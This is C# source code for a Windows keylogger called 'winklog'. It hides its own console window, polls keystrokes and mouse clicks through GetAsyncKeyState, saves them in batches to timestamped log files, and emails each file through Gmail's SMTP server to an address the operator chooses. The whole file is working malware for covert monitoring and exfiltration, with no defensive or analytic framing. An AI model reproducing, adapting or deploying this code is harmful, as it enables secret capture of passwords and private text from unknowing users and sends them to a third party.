using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace winklog
{
    using System;
    using System.IO;
    using System.Net;
    using System.Net.Mail;
    using System.Runtime.InteropServices;
    using System.Text;
    using System.Threading;

    internal class winklog
    {
        public winklog() { }

        [DllImport("user32.dll", SetLastError = false)]
        private static extern short GetAsyncKeyState(int vKey);
        [DllImport("user32.dll", SetLastError = false)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        [DllImport("user32.dll", SetLastError = false)]
        private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        static void Main(string[] args)
        {
            IntPtr intPtr;
            string str;
            int i;
            bool bl;
            //Email parameters: just as a note, it is pre-setup to work with Gmail.  To edit, look up your mail host's information and edit here
            string host = "smtp.gmail.com", userName, pswd= "", fromAddress= "", toAddress= "", body, subject = string.Concat("New Log from ", Environment.MachineName), fileName;
            int port = 587;
            bool sslEnabled = true;

            if (args.Length != 4)
            {
                Console.WriteLine("Username: ");
                userName = Console.ReadLine();
                if (userName == "default")
                {
                    //fill in from file
                }
                else
                {
                    Console.WriteLine("From: ");
                    fromAddress = Console.ReadLine();
                    Console.WriteLine("To: ");
                    toAddress = Console.ReadLine();
                    pswd = Returnpassword();
                }
            }
            else
            {
                userName = args[0].ToString();
                fromAddress = args[1].ToString();
                toAddress = args[2].ToString();
                pswd = args[3].ToString();
            }

            intPtr = winklog.FindWindow(null, Console.Title);
            bl = intPtr == IntPtr.Zero;
            if (!bl)
            {
                winklog.ShowWindow(intPtr, 0);
            }

            str = "";
            while (true)
            {
                while ((str.Length < 250))
                {
                    i = 1;
                    while ((i < 255))
                    {
                        bl = winklog.GetAsyncKeyState(i) == 0;
                        if (!bl)
                        {
                            str = string.Concat(str, checkExceptions(i));
                            Console.WriteLine(str);
                            Thread.Sleep(115);
                        }
                        i++;
                    }
                }
                DateTime dtm = DateTime.Now;
                string str1 = DateTime.Now.ToString();
                str1 = str1.Replace(':', '_');
                str1 = str1.Replace('/', '_');
                fileName = string.Concat(Environment.CurrentDirectory, "\\Log_", str1, ".txt");
                FileStream fileStream = new FileStream(fileName, FileMode.CreateNew, FileAccess.Write);
                StreamWriter streamWriter = new StreamWriter(fileStream);
                streamWriter.Write(str);
                streamWriter.Close();
                fileStream.Close();
                DateTime dtm1 = DateTime.Now;
                winklog.SendMail(host, port, userName, pswd, fromAddress, toAddress, body = string.Concat("Key log for ", DateTime.Now.ToString()), subject, sslEnabled, fileName);
                str = "";
            }
        }

        public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName)
        {
            MailMessage mailMessage;            
            SmtpClient smtpClient;
            mailMessage = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress));
            mailMessage.Subject = subject;
            mailMessage.SubjectEncoding = Encoding.UTF8;
            mailMessage.Body = body;
            mailMessage.BodyEncoding = Encoding.UTF8;
            mailMessage.IsBodyHtml = false;
            mailMessage.Attachments.Add(new Attachment(fileName));
            smtpClient = new SmtpClient(host, port);
            smtpClient.Credentials = new NetworkCredential(userName, pswd);
            smtpClient.EnableSsl = sslEnabled;
            try
            {
                smtpClient.Send(mailMessage);
                Console.WriteLine("Your message was sent successfully.");
            }
            catch (SmtpException smtpException1)
            {
                Console.WriteLine("There was an error sending your message. {0}", smtpException1.Message);
            }
        }

        public static string Returnpassword()
        {
            Console.WriteLine("Password: ");
            string password = "";
            ConsoleKeyInfo info = Console.ReadKey(true);
            while (info.Key != ConsoleKey.Enter)
            {
                if (info.Key != ConsoleKey.Backspace)
                {
                    password += info.KeyChar;
                    info = Console.ReadKey(true);
                }
                else if (info.Key == ConsoleKey.Backspace)
                {
                    if (!string.IsNullOrEmpty(password))
                    {
                        password = password.Substring
                        (0, password.Length - 1);
                    }
                    info = Console.ReadKey(true);
                }
            }
            for (int i = 0; i < password.Length; i++)
                Console.Write("*");
            return password;
        }

        public static string checkExceptions(int i)
        {
            switch (i)
            {
                case 1:
                    return "<Left Click>";

                case 2:
                    return "<Right Click>";

                case 8:
                    return "<BackSpace>";

                case 9:
                    return "<Tab>";

                case 13:
                    return "<Enter>";

                case 0x10:
                    return "";

                case 0x11:
                    return "";

                case 0x12:
                    return "";

                case 20:
                    return "<Caps Lock>";

                case 0x21:
                    return "<Page Up>";

                case 0x22:
                    return "<Page Down>";

                case 0x23:
                    return "<End>";

                case 0x24:
                    return "<Home>";

                case 0x25:
                    return "<Left Arrow>";

                case 0x26:
                    return "<Up Arrow>";

                case 0x27:
                    return "<Right Arrow>";

                case 40:
                    return "<Down Arrow>";

                case 0x2c:
                    return "<Prnt Scrn>";

                case 0x2d:
                    return "<Insert>";

                case 0x5b:
                    return "<Windows Key>";

                case 0x5d:
                    return "<Menu Key>";

                case 0x70:
                    return "<F1>";

                case 0x71:
                    return "<F2>";

                case 0x72:
                    return "<F3>";

                case 0x73:
                    return "<F4>";

                case 0x74:
                    return "<F5>";

                case 0x75:
                    return "<F6>";

                case 0x76:
                    return "<F7>";

                case 0x77:
                    return "<F8>";

                case 120:
                    return "<F9>";

                case 0x79:
                    return "<F10>";

                case 0x7a:
                    return "<F11>";

                case 0x7b:
                    return "<F12>";

                case 0x90:
                    return "<Num Lk>";

                case 160:
                    return "<Left Shift>";

                case 0xa1:
                    return "<Right Shift>";

                case 0xa2:
                    return "<Ctrl>";

                case 0xa3:
                    return "<Ctrl>";

                case 0xa4:
                    return "<Alt>";

                case 0xa5:
                    return "<Alt>";

                case 0xba:
                    return ";";

                case 0xbb:
                    return "=";

                case 0xbc:
                    return ",";

                case 0xbd:
                    return "-";

                case 190:
                    return ".";

                case 0xbf:
                    return "/";

                case 0xdb:
                    return "[";

                case 220:
                    return @"\";

                case 0xdd:
                    return "]";

                case 0xde:
                    return "'";
            }
            char ch = (char)i;
            return ch.ToString();
        }

 

 


    }
}